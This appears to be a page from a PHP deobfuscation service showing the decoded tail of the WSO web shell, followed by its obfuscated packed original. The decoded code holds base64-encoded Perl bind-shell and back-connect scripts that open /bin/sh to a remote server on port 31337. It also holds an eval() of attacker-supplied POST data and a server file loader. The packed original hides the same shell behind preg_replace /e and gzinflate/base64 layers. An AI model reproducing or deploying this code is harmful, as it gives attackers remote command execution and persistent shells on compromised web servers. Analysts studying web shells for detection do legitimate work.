                                                                            if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
                                                                        }
                                                                        if (@$_POST['p1'] == 'loadfile') {
                                                                            $file = $db->loadFile($_POST['p2']);
                                                                            echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
                                                                        }
                                                                    } else {
                                                                        echo htmlspecialchars($db->error());
                                                                    }
                                                                    echo '</div>';
                                                                    wsoFooter();
                                                                }
                                                                function actionNetwork() {
                                                                    wsoHeader();
                                                                    $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
                                                                    $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
                                                                    echo "<h1>Network tools</h1><div class=content>
        <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
        <span>Bind port to /bin/sh [perl]</span><br/>
        Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
        </form>
        <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
        <span>Back-connect  [perl]</span><br/>
        Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
        </form><br>";
                                                                    if (isset($_POST['p1'])) {
                                                                        function cf($f, $t) {
                                                                            $w = @fopen($f, "w") or @function_exists('file_put_contents');
                                                                            if ($w) {
                                                                                @fwrite($w, base64_decode($t));
                                                                                @fclose($w);
                                                                            }
                                                                        }
                                                                        if ($_POST['p1'] == 'bpp') {
                                                                            cf("/tmp/bp.pl", $bind_port_p);
                                                                            $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
                                                                            sleep(1);
                                                                            echo "<pre class=ml1>$out
" . wsoEx("ps aux | grep bp.pl") . "</pre>";
                                                                            unlink("/tmp/bp.pl");
                                                                        }
                                                                        if ($_POST['p1'] == 'bcp') {
                                                                            cf("/tmp/bc.pl", $back_connect_p);
                                                                            $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
                                                                            sleep(1);
                                                                            echo "<pre class=ml1>$out
" . wsoEx("ps aux | grep bc.pl") . "</pre>";
                                                                            unlink("/tmp/bc.pl");
                                                                        }
                                                                    }
                                                                    echo '</div>';
                                                                    wsoFooter();
                                                                }
                                                                function actionRC() {
                                                                    if ([email protected]$_POST['p1']) {
                                                                        $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
                                                                        echo serialize($a);
                                                                    } else {
                                                                        eval($_POST['p1']);
                                                                    }
                                                                }
                                                                if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
                                                                else $_POST['a'] = 'SecInfo';
                                                                if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
                                                                exit;
                                                                

Did this file decode correctly?

Original Code

<?php

preg_replace("/.*/e", "\x28\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X17f9rG0vD/5/c732GtcipoMAac5CRgiBPHTpyLnfqSpInzUAECVAukSsLYzfF3f2ZmV5fVDUGc0z7vW7exQdqdnd2dnZ2dnUtJm3uTnq25LuswpTkYjvSH/240Bg8f1Efbw+ZI6zcbzbr+WK8/ftB8pLT/+Y/SUB9pc9PrzV29p/2mXUNFz5nr0VeDiea4ugdv1A/GbGgt3M1G80FDxTIDy7QcbOyH4eiBBFAbeIY1w0oHhqm7b7UZVvjnP3aNmdEDcGVVdxzL6ZnWWK0enb95U2lHX8LjHhVw1WpdfjXVrnv6tT6YYwM9z5jqfhF4Td97pjE1vHL4cKqNjUHv97nl6W7Pmc+wkHgN+Bozvax+OD3uvd8/OT08PlKrTN1UK4QuM0blDX1qezflUu90/wSKfFZfnp29653Dt97TF/tHZ+qXSoV9/ec/jBErsw3b0cfQoDeYsLK6dWA4+si63jIA6FIATPxMdG2oO2UqttWo1dn9+n12ZHnswJrPhoSZX1S/Njzx9faf/7hFJMrjeI/H9qAstzCaz/j8QLddzzFs19Tcie6WS5rjaDdSWf/H0b25M2OG26MyQdEnjD5AkzYNYxQe9loUa7G0hiJduQ0/lnrvjk/PgHgS6NELv1apt3d8/PpwP7Ugf4VFEfA//xF0eeFab6yxMStLvRwaelnZGVnOlE11b2INO7blet0dY2bPPebd2HoHF9bCcoZspk35N+m1O+8D1bErzZzrHVXt7mwhtK6SggJiq3sDy7qEVkuXMEhXATI+5p9Ll1+gY6Ur0dlEhQBshEQDBhBON7w1XFw4fOw+q/gaKI79+CMrT4cPEs870GgETjhEEta8pkTQLwEMAKhGq7cJQ44HK2/4mIguZgMBPP7zH1aoJNvIQjic6ehYAZ14wLYWsMJgyuBb+d3Ld73j02q9ul2h7isLY6ZE4JQsZKgqPEUeppuunng3M65V3teSq4303tQa6vCcuNYYuVbwlJYvTllYUDTFGaKj25bjGbMxZ1AIcWi4Wt/Uez79uBLkxFtqoTSxgBEOFkMsC+XgU1m0LJPDALlP2J/dwWRoONJbYvRpgKjvYmCkxRRtHAYY+2RqA1hgFxdKlSlb8CsoEmUBpfwqojTncvjtM5Q09Rl9rmw2iBTULbUSg1ijp+1gsRSmQlZjKu6K4RCtVAm6Uu5blllJbLMBLtIQRtDWTENzdZxozmyT7Fh5Y7geew77y8CznBuFdbpMgalTqmFZ5QA2bAb/9OuaPbHhExvMHUefeQxL+lXYlsu2FmyrHxZNQvlpYM1GxvinYoCipSVYpxNrwVA4uNIZlJnpnGY5iJnuuZ7msU1tlqwE+/YMlgUwQufKGOhhFaAXzfGkCudQCFoZwH7pRQrC8DtJwANrCkxcdyIFrwx9ES0YVHh68o6d4XLjZTXHBmRTSx6+Y3s0BnNHwy7yCobNB4ZtaaaphNUqScZSlASCCTBdtmlO0rExseQIJDGmebBP9qG/LoOdSGNvjNn8GgYV8BqCOOHpQAJDXtS9cT196gPHimzzKh2+iwNp2foM6iL/Sk4o+w8bw6JmmwZDZHR5hm3Hgil1cSq9uahsu0ybX6c2hxTJC6W+HiHBwgAzd27wvgiQ9GKLbeKGzUZs09Zhv9+s36/X6zB2bjawEFAq7VOZ2hpwCclxISSby5Ecr4PkcricZGvGbECLPwdVlIxixZeB/WkpvAtFlLxQCgIr1P3isHGSFo7h4bpnI8sE4RxIc5Y6aXxQm8tnPRtgLvaF4Qs2WbMXw6UjHCmbQ11xgMVHuRB8RLo28UjKXo5yUDIbYAxYcXQLwCZk+3DW6E2AmcH+uxzhaOkcpJNAV0C8WBuE/AhEuclUM0xnsBz3SOEc1BMgV8B8WQtvrIHm6Tk836QCbOJ59rCGizraq8TLPBBXEzj5uVkwIm/zgMCGNsrBJPo6F4x70wc+mgUlfJsHZHqTBUC8yausDafGTOb7iVd59QejcXzXkN/kVgbksmqLV8uqw0401LwMAPxlARDZOBjjgljAfpgNAl4WA0GNpQMoOhr8LJLfpUih5SD9XTcFUF7lKFGGRKXSYzW3YmxPC2rC8/yK7u9makV4nl8xbV8Kavsv80Fk7RYBmGiBfFDTG0A4F5ZUIh9YxkYQgIq8zwXU1waX8zSS4i/yqg7n07SK+DifxxpXqbzVuIodrWL6v5dcwSrpLOAw7ut5heqD671l9YisoYwUQlXdizfHz56+Of2sxlTn6peIjmNsWn3NZFx1HtXkDiYWU3Ym3tTs7qAGuLsz1T2N9qxN/fe5cdVR4UAJBydv8wy2ThVXGH7rqB4c27awYpuJFjsK7LBJHGtMUbs7nuGZepeXSFFgYKmdLV7on//Ycb0b+tC3hjdfcSrHDmqhNwn/1g/3799vi496A/9r3/KyVW9Y9SZfQbydeS322PbYm/nAGGrV97oz1GZae6o5Y2PWqrevdMczBpq5CSfe8azlWXYMIqqGSVYGLjeyvjLxdjQatZMINZtNquDa2qw6aVQ1v7wYcrZhTPGEqs28oBzHcnOhG+MJINsniZzeThpf4asDXzdNfeS1HthwVrZMOGeJCbS14dCYjVusCW/gbZv3t3EfOuz3NB1Jv/9QB1saGlc1MaNfWQAVIfKCQfsp4La3twkG9BVpYXMIp3mudWjNrJnO37UmFox0sgTA0R3TEMVqUzPocqsR9Jbm2ccqRApmD4GOTGvRgsO6Z3EYfWOsOTpgszCG3qTVqNf/1Z7wwd2u+x0m1XkVscGyVVc39QF0PQCcO8sPHjxoJ5AUUxIhubfWzIIJHuhVWDtzx9AddqQvVGoftfNhcwKpHzzLMt2zvinGiZPkACZFEESNChzObL9zjHrEh04DeRdoPlITJy0NfR3/a4eVHDE7WUWxJExM6vqjd82vqWQB72xH/0rkPdKmhnnTEgNRDcYG0djZ8tf5jjtwDNvrEme60hw26KGCG9kFshjX1geGZhJPKYccbwC7H6k+FbUd1NSya+76zEmjaooaNse5VYGqIYNGAGGzdiOoXEZtv21FKtkN9UtVuZgplY1OZ6SZrl55oqqtZNei5fePzno/nx+f7Z9W4m0189pqrthWM7+t7by2tldsazu3LVTDD63BfAqU3065N0QFulYdVO1G1W5W7e2qmIzUm0PYWrWNzmxumpVhbTqqaTV+Saa1UeXJ5Ge9diqAQRTAQBQeRAAEzzIA2I0oBLshituNCIzI0ywoTQlK0y/fjEIJn2ZB2ZagbPvlt6NQwqdZQ8KHXBoY/sgfCv4tOkhp73vpl7DBXI+Lz3QmWaT0gBDil6blyhIUtO+DAq0qzdGmdIeHFzMdtH5QU4rCblE2OvW2sUN4w2aFS8Otmfps7E3axr17KVKi/yPauAeN/KjekwB8Nr7UUANyT+2o9/TZwBrq5yeHexbIKDN4X04UpqlL64zrlIk3wCYd3oL78t3J/s/n+6dnPYAt+GVVYLVs6AHs3DGD0unrm5UXZBpS+/j2zUsQWE9AYNVdL2dIHP13GPOZvmBylXJa14iAI608pfujj8f930BkKNSIVKOsvjUGjuVaI48QBtk3alSBDUHNeFfhUc2agagyvMFbCpDXtdkYL3nF3QV0YI8etZPVbH1WVpHxwrDTaCKZVZIFgU7FOPAjCivLMn8VqNS2TZCWcW62rjcXi8UmCjKbc7wIReqR7UMCuLNhOTHft/kzH+9XOYu503DVaGROcWTwRvN+heVMDFQitOi2B4s36/VU6Gkr1tHHYlZP9PH+tV2+UMoX8DO8Vyl/xg+n+Mv98lMFr47VqZpGUmmANcfpAPAaWheJLrmwDF39DAS6IkB0WJxlgPK5+aUmbAvqVQT7uQGnyBwAt5zENROOQmVVkAA3CNhQYysURDVfQhPnRDxudXfgAMFIiOuoIBkYJNtrfZCM557ejgji6Wc4OHWBzE1njHpbRdhxWxhu9jId+Y0MDdc2tRt+wqAaEWOYiTEc6jNeRct5N8h5ZzfyXjbzXm7nNcn3AywhLHSiFggjR9dPUSpGcwfo4iU+IDE5Ie1Gq3mWp5lSvR496q1YNfLtSeRzqxGt4cB+oLnUkj2xe3PsVll1JEIpXerOTDdjZVypDNpC+Ku9p18brueWiXau0bJEHxvAS1JXZQkv0oU9SE8o+NG2wUnl3iW8O+WFpzfwOb3QOFJonFkI6NZGe8Mn0UkTq+drdtNBp+wFIhD2kdDJwycoOnbGUs1xZk0xONj2ZxXHXdL/xFDjpeBXeiG/w4hOHjCOLS81jgG7DWywfIuYHhz3L0nmiYo6JVvzJvBQv7ZN2EjK3Ogmh3JnHTKwKFPF6BsUlkooLbGSsVOabTbwA0hIqVMU4lODid3R2MTRRx31B5VZswFsdZcddQws3jcjBZ5+oSgZElrpN2r0t51OycC/uVKZ3DJ14nPpty81YSuUj+eFUlG7Sk3UArlM2drZ0iReEh93zndCgw71/Oxg8xHu6ZJdLXx/fXz4aPMk+HSOnwb2o4cP5SVu2YGKMTGZMBq6NpiUw2Y1FybB06dp2kwJEppL7cATlAH4QUFRa1S1BgKmWktqSDsdev1E5UockEFaqlqpqd2g3s4WB9hV2/KoTMPhONUHNXY4G1lqp4tf6GOV2w/jo8CQGJU5M9jYdHzqf6yqp7+bVBP+VNV3Exu/4J+qeqR7C8u5xAf+xzgfFLrfgNoDg0JZ/1sCOXyeOdZTGuRLVEaXrtLGmWrT+MJKoz0Zx7ZszLxKGTbnLbGephUYvH8p3c/MXw7KD0qwHBRYDiqM7FVNvVCrePirXuCn4FdFwYG/xFHXuuzLzpY3SYz70AF5mOzEFXkkwiGwXFRrp9n3xTvukHioDmCo/4CSOAgEv5IqLhpuj0wMqUhNbV0AxnnLVKBKw5Y1HAF3wBGAzvuwt2g0PrPwEY4HjIqafuwhLTzMDllmDOAY5XZQ58wGumkK9Wdnm77hxo7f6mIeUbbq7ngO/Bv6j7o7qF3uniPfbu30nS7apdEHoEv6+3I4pL97i2FLRcVOxvA/UbHUcxqJFq0uNDMEURDhwwQPu2rQCXwBD3ZmFlRBoEIUjQgClSoDwbTRrBMYtrNFZXdEedqa8HmZ8a+4oeH3CuMdeoG7Uku0zsuM5Sp836I6PlRs/kp3XOACZdEs1T/VRjpDM1gJYGQgQtPZLzAMqMrkGn2Q1Yfd4yOU4mZeFwYl+m4MYhuMTL97fHCws9Xv+qUq0WEKltcPMjXB7MRWFhKBICXoBpEEpyPeh+dw6kGnAqkLQ3hYVn/ZnG4O2cuW0XLFpInxWLjWe0NfnBp/gHwYinrRoTmATkggpTqBqMqrlFUYNeQkLPJqKwL5p0adz/e/gjmJbmoAQqUW3unO1N3DUUxT8GYOmrwEEXhQ2bf1pcsliVX5/OozwzJ8TAPk/IWPhJ5C4f4qY6Rq7zh4vyCofodvRIggHV0RQ5rOtF/exHCFWkXp4sbHidfU+rrZUd5pcMgXO53C8ZJ3S8Y3N6oEZMZbpk4I+tYdIHt2+M6fyWBBBOoZhf/tPX3+/ET54hMJr75nGmg+k6weVe68PT7bp9p8hP31jKMGv+gTcrT4EBKX48c5Rdxy4TmwGV774M2Ssgr3I8z4NkfTFrYdOaAq4tblgUL7UtJB48CyvPgFbQn2jcBorsMi3xJk+kRhUV6gEjNQu+UPUEHHGhXBDpSWXBI5Shk9bXzQQUGxXfBbWjw6Qm/wCJnYKYxhx79DKjhuzD9RZ0+BeNO3PM+axl+q3XCQcAqSWyltB3SeB2GJNK4oU4fEL3TnIFiDWNsWjj50iQDABRlybRds3FE6FGds3n3VvxpT+aEbr8HEkdv3iil4i4S31JmeNd1u4FtDBF6ouxfAADiHOkMk1cjKH/kqVanfF4ro+ImucauPNfo9WqsbfNUUnciwZyQaU7/U6SVMlMr7N8zv31vtUprW6DJboavD//6MYTdxYtTcrkWnbs2+/demMTjLJJZmVhf3yRFS/5Y1eVdrTagKUYHkqWz/aO/sl3f7HXU6Nz3D1hyPwGyCUKSpaXCylIc+KpzEn85WqSzxnRibIS5THJTd8GHNbdPShojOSqgIL9oIQnFHrOA6+0nikRD40zHmZwzCan1qJ4ePlai97zCWTvP+hk97JAjfpJ4mAyXaR31PPJbUPiqyok7hXorirjtiX5VweftSZapcV610/IvwQIwIrzZkfWDJhiLSArslC5V8FEkjuCaKVLcYilzxmIFiTG7avy6XjJksNllzL66wwI4lFL9465Gh792lGxGAXEVoqUpP3srub5YxK6MZQqIkV9KmtoxqFm/izDNat/o98vBKVQnv+pWp49mYARBSVpu6NisXxIv7P62FFa/6PXCagBTZy5krATssF0ciBA78wdFda+7gDcWIa7vxphInWnGUSm4DqTrYxQTYSHljd6RbIwCZq9ZBMLUOG+G9IZStNurN+2mDZQ9My0UEM26qxaJAeKlnifDA7Eacoqn3BirbJJfhEqrEXNuBN6Oy8q85asD9K1NZTeayboc16v/e/vf9xiPAPNNh3oem/qtRa47QI95lW5GarIKH6hfPoguUz1DQyP1HD/79cPUWqBrjh/a3efDXQR8RJ8ivE5AzYZW4muFZ+qGP9A6c0cmsCp6xH1n9eq+OCoxOx/9YMpCxucmOhVWehlWehlXMvCqPwiqPwiqbeVUehlUehlX6eVXuh1Xuh1WGeVWaYZVmWGWQV6URVmmEVex4Fcafz6XbIANXZwCpTsqjJ0x1VNby42Nkla0/4mUXRcrep7Lhg0eiIZcqX6PWsZXy+tSHnQu8uQLSjRWQrj+Skb6fj/T9lZCu3y+OdL25AtINGemmwMpLR9p/fZaGtL+ijeylLFSIo8R63tilnUcbcuVN6jYh4Es63R8ODqATdV97yvnFLkquNmcdo4pQi3Ndb8rCoKZDvVHhpmFj8/R1Gy7Yu+aD0Wi13iUH/nSgzfjliuFEQ4AkpFiXF1TkPd7n+VEofniZxCV7aThhKMWAyBAvHMgCIMGgsMo2gAdBD+AJuft1GE4/rzWpxCeByrmfyafCr5JCelRKCn4TG4wPEwNv5eQNxb/l5tKyusAy/M7CzrgTpNvtbDqh90n0uJCeQIvHRRK3m7KCM+KY0k7cSE0aviLZhRM/EPANQ3WjMyVLMDhdNbiClZ/uhCOBRIkSmeiDd2gNVi7NpOAz0ixcUTAoAwpdVdItUDNqxlCnwyiN8Azpt8XE+VRt5xqI+Ueqqyoju2bYxjp8VCsFLLGwaeiBf9+S01T6Cs3oi+34yt6p2eCd4o1swZvUZm6zDAKi06D6c2uNvIXmoKEfWsLosyt4xe8GTo8Pzj48PdkP2XDKslY1WxtMdDpWTK3hHG/OYxFxwjbfWBqGenhKVZhfvMqMKbf/QKuDKktCLFeknUCC+Zwfe4fs3ct37CA4+0btSFJOxk9y37ZUNDFTM9s8BgbE+mgQRUrPSGgcZE09fIMvspEObiAZnpcSUIL7RzpO9YrCMmYDcz7Uc8CJEksgDs5P3jB3bqPTEgBKTDlwA7MnLlbVyhMV2CXOgIrDJssDcCK1O9zYIsbqEkC5/yA/neL9Uw+ZTeo1PUElXq28vTn93WRlpZZau1ypKRVlWbsu1hSBYZa2d3r685tlEO1xUXDvLNcbO3oBmNbAKAr02NHgfK9kkgufV1gwqBhFUk2uQIJWSdkTfMa2zH4Dg1MlGLWExokQxtiW7g22hDcrEm1ETlOj7ypPlBvdZfnWWqS4RxvcC4Xq8o8cAtlPfcY4O3TnqySodQmO7kQbWot0HMW7b8CRQ1gdx+NT5q9EwAwFFL4K+HYMlLOFRtVbwWrNBQa81HNIJ5sFDBE2XHeu12a6l4RGUcbSzCiyjTpHczM0yBoP0KLHpN/8IxCFOtUu0drKJssqEE3R2sq+8SbYZ9WZ92/gj6cBz1PHfxhYph/+acLfGUEiV134gIF1CEiqnmyIl45OiNGldoUQrOE2QuoPB5ajI07zKxRZERwVGDoLvY/PYaue4l/ncjJHFz58NLl0LMu7NICZqoZNBwGXPo4WiLlj2AvDIdQmhm4OqeMU0ggG3cHOuTPixLC+QBTDvhhDVxtOsfIA1+0Yy1wbQ+rmGDbPwSX/uMCokPjyxp1qLj78Y9oHxG1CfDE1TBzLBQh1ojczY/abljEy1mKGGn+MHBMMzwLoA6qRxzY2eTO7Jvxml9hD3ChwVqiMubA3pwYamKfCj3GYNP6WspPE7MJA4vdpKsf4UFBqKK9TuTzNYcBdqWiaGjK6jM45CnG2muSqq/dOkOef2LnnhMF36VuEwP7MDoZoFO9lQL1bqeQrNfDy+XNGRvoAU5wJhyO2OVFTIctVMRJMHm+mUDHqMhT5AUm+kgIpCvc7JbohV/xLXnG9FrtAVqMmTsoDhd8fk9OPcGuMPGmmXyurvgVj98Cxptx+yJOv9sMbZA5aXA3Wo9ZGAsaZVQRCU0BABWWKyVLmZaTS7Sr+ZaTaTvdKoxtWJjvYsqgLLN3egQQxm091xxhIJTPfbccD9iboO+t+xLdTb0fbYTsdCSfpZYbV/BIHB6kbucds5NHGcMmJmvep1mF0vQcniypVquG5PAP6bfrjJSszlXm7gQycf7yOn7YzvULiItt7X2QT6x/EswKr/ykPL8lOdQ/DtbpBdQwg6ceeLACHYlU+9ctHgeDmKQNIWirTHbsqHy9867ks7dO7iZ2IfSLbIvhBT6OFCob/DcKfpjo5Lr86JR+6qPd95jaGi8z3Ua8B6e9zL9lnN4fDMprwHs894BxqpUbmdTXhr9ZR1XahWgac75yXZ2/fdHy32oHvV5swYZNvciuksbpwLryLC/Wiroi4COmLhebRj2NLVM71XYLm02qEMb8jNJGIXyPmEJnYhvyGRrXyLTNbr7TjuqwU1WUy9LTPVaUndEYV+oW05RpqQFGphAWz1J0iWE3NZl+FayPsKe1bP7iFuiotClPvdF80jygw8w5fvKdw8H4wY5K7WCySq7pRRguZ/2iti8W9/1DoHOYN4d+kyiYN+NeEUan9dLsxdY1ztRqvzIuyr+XaT5WsMjvGdPz5f7pf7nUTBSpVlo5VAkpNr7LaFfyb4D9qs9S4TRRTJdg4CpUcqg+GBucXjiU7k6YqarGa4G7xU8htxBSXyGLfzwaAWsdNdILOJBCSmbjsMZKcWwM5SgGqJTkJSb1Gpzd9WPmqyW4B3DYPWvLlqFvcbL6Oc0txY/f2rSRzgQzjx8ARlmKoPORoizg6aFMMUPfgRVetldNW85PcACYV7o4FIpVoKVuq2oc/spU22SM/sK8V+V6LRl8yd6Ox6lvXwnAPs0kIyY47jS2NnF0TPOuJKobddyNj6L8O2yGGf3766ulH3wQNtfF8bDjX9hGH5tLGKOayzIHLnURj91C9n34fJHHRlU2DCu1vNLrLdpl8uQDvI9aSDnxb4rJkLcM7H4nIr45innHRFyiSzmcgvgDuZHoj1Uoxpyk8tu7C8PCYGS2YJyAP8F4garPZWn7Xg/jsTq0rvcfr6cMenvCg0YPDN/un1InPKvCoHnfIxSNF9A1/WilwTSUHf9vTZipIfaEl54ZSIOhAH9bzZXvZCHCL8MKdv4wmAaBte83eDAA7T6doDXjdfGf9Geqm7hWazYC8eZXn2DG60i0SbyJ+a+ynjKDv1c1GpdPBhAPsCS/Rot8ZHsTZDo7yPXrcm3rZj7hoZ1z3ErtbZxW6e+f3pqv0OLQi4UB5z7J0NsupChHE+w3yP+RaIsq1UaspPNdH6kslN4zIsh/c9o3ZXF8D4RKFJ+7QMsSPAqs1uy6gdXiGhm/oUYSG18Wn2H131g+wddQnr978bfGiZPDpE/AKTew605UW0G0hbhgkPApirY1WY4eBe3hYnTSqo9z1iFd5Izoa1Wrqkta+hc7R7nfumBgQchi3si1O4oFT96hyN9Q9+hNJe3THdF1sR7M11ysqnoTyFMhs4gQ9sOwbdSUWH+yMWLVH7ZdLg2rJrZbgxPNNZDCooV311/UnQ0ggw1rJXYcSAvLGTXs32FoH3whObLXCWj7YZyeV6C67PnjZ6HmE6YxoC8TUEMF3eHAHTYSsIzL1MDoou1RLIxBph+LbOuPl+xggPXDRmRPENyxORJSDEbh9p80n5NbR8wzn16ujHx3eAOAAjgw0xNmxdZYObBoHwCPLmhyATjt/c4C/OcCdc4Dd/99ZABAJP9ZE138tZf3XigkeuSwATW1W4gAYRxYVXoFt2yfDfuoMJgaykvyrR2hLxGEM65SX3jZCrc0udzOTbmUblaV4+6kJI+O4bMDyprLIMK0iha8hjUvrI0YfRZcKH1HgQwdpUKqsGFVFVmtikAmZokSFB0NH8ygtMI/ROZg7LpDGoXju/y1Lb4NEhsHr0og4ESN9JLlT+q9ardPXh+96z4/PTitFWUBo2BLgR7G69JtOt8R1+Cvpg6RBB9AmHjrLCA9vPfBPQcRuv/mcelto1awma/D+cc/L3MClK93+F2Zj89lfmpF9C1fBHkd54DrrjAPQrz0HhuzMKq8hSBad4CWz+Z3mH+1HM0dihW0gfikRyVSto+GlTm7SmjOm9NzJO4o04xS0zvAwUcHojytyHJIhxS67KawW/A4s11iiqay21lq4BUcfL2e88tIuh2YBKrr+qmjUgbnTK2yTbT+s1yt3oM8XyXJaqR5Ghe+Fsn4k2waisIgBWKPYeKbDwgEJb7hk5eDaQAdoThhLvvwdNVDJCODLnNBwv2NTbaaNdSfbDIMHqLYbPcyBgBkMOorSDgJXS27GQOMixDl3yvM9GJNZqp9EvrRylgXylCjUyPVHpDN7GKnOo1sXhvf0Ig/nhtqO3pEKb752dKT8DE6u5UTtcOh7aIst7PYblTUvkTFNBNqOTNFovKxuuL3y56ebf3y5V+mVL4ZfG7eVjRgpwzcqnGt9KyHJy39uQFWKHCi+N7/E7pZFbqpoZhhZfeBq5awAoUHWBHLXXDFxAgxCvCLmQPBvU1Tf5KCIaJ4GSNgZYLKT+Nt68DY7/DoP/sYjuakYyk31o+tgVh9Vivim1lUpHpzaDKOs87g7lEMvYpMi7GgnQQPb9rUcrCmwuAj8WnAifCQGk8v+dZeiv+7gvwKRlXnIS8Wli+2eUisTvQCBPKm3GmjviR4xR/CO4jSuBdkFbpkFGcN0rA95ag2N0U0W7Lf0VoJ+vJjpzhYFM12vRXLMzmoQHbiBiaEPo9TqU+7XyL+jpbMSY4eu7/ccenbIYbfhsQgUHLK51PDbFH27nR1621qk2A6TNbuFQxOFjzGuMwKlOylx0gkIhcQsBoQby0VZJwVRlqtWV1C+qHge40DiWpZvAMpJjMAmo7sKR4ApSUiJaGMsMQ6rdQdJjRrOjdCa0s5KzeDqpFaoKy7Z7uSP32rwia74tFgL31LmSeRzK4f8VmqJiI+3NHbClsLPrRwaLd5Qhmd8qNVZTgc5u3UYCEGcXHRnjNGCp3bVXywe5YKEbqo8FmJW/hyBFL/h/CakkEUVxQmbw4MD/cUnqDHnOECFz3yVfqkswzrlIPQdkU74Y0eEv4g/JXoBkh9TTBCMBlrYmwJxaSCZ9bOEvDhAEDxQy89XYm5uIx6qw3MG0Ab88YAfLHDVaJ9TYMLqYdFC/fRClZ+SCMG21mhtNrKmaCmKZUSJ9+cL24Gh8L+g2dRmg7VASC7WbGQe5liKRxRxq0zhQ61EC4sSOPHpBeQ91icJXp6/k0qjY2w9Leo/B5Ot/fFjyjtoBWs+8cUzs+Gbt8YdpGRDWmX0+YsSJmIIEj1Bw4GpISZmiAl9wu8qGasbsKCqRO9fOh3BN56oQRBv7hMdBEDPbBOKsAsV/aNFzoGkEXJYvKWmxekf+SygRqbRCo/97tuawltiHEQpKoYhUigvbUf9Gr67VcnBQsVg75+pfh4apJD5ghHhuUW0Fo5V1sDIQdcD4m2FZblttQ8FnwtB4UviBd8AKckIfefbVLRcXnj1FWbmAg5HgIWfDQIHmkSIL9nrNQWJ9EQLqxEIv/8iRE54zPw7BO5Z88GEYJ8h7EzivtNG9aHhUZv7d94f3+2WwD+nLgXG+8IzMtUjG7kTMJe6lCnqNpFeWuSnGFh4Lp11/h2N3VosAq8mReAtFHm3WMTvAkBjMXRXDqEba0YkCSDYqEHpyllvuEVVdw9+B+lrYiXI4gKOlld6Vglhp9x9Tn+DUkoYwyfn1iIxfTJsvCPpYqpIR3ddVoavlSw0+IVK9xzoLrW4HN8+Vhm18ZF24Gtt/EclrS+BdktS6ZPL1644smb5D6S2zG3iuu/wD9tiPg5ZaPvJF36c9V27/Q14kY9azgU72itn3lskexUEV26xDEdo3wlahc2mp/jJQ5RfpsPeS8PlHoQ1ChqdhdQT+t1S+ez44aLlkRDDFEFB5c4/qhzgOfTB9kN/RwI6K0vcSTJ9SogRJhxPWcxFkBw60mLqRArIJqsZ2nw8OkTvYmAz8JmrmiWMRy7jo+ggmUghCwtfRwSuQAo67/wx0WZDU3eUKrtff/wwT7k/4Up4xU//+dxwg6yOTPM8kDwpNzPzA+R1lFpoQS/ht8QiIxEacGpgthbebg+pRCl4KylM5ncTAMqr3rjEe4/JT0H4wzMfwlueSjP5Ph1kNJuqNfB0bxMOSbo2VfKaKI1QWbU7kq1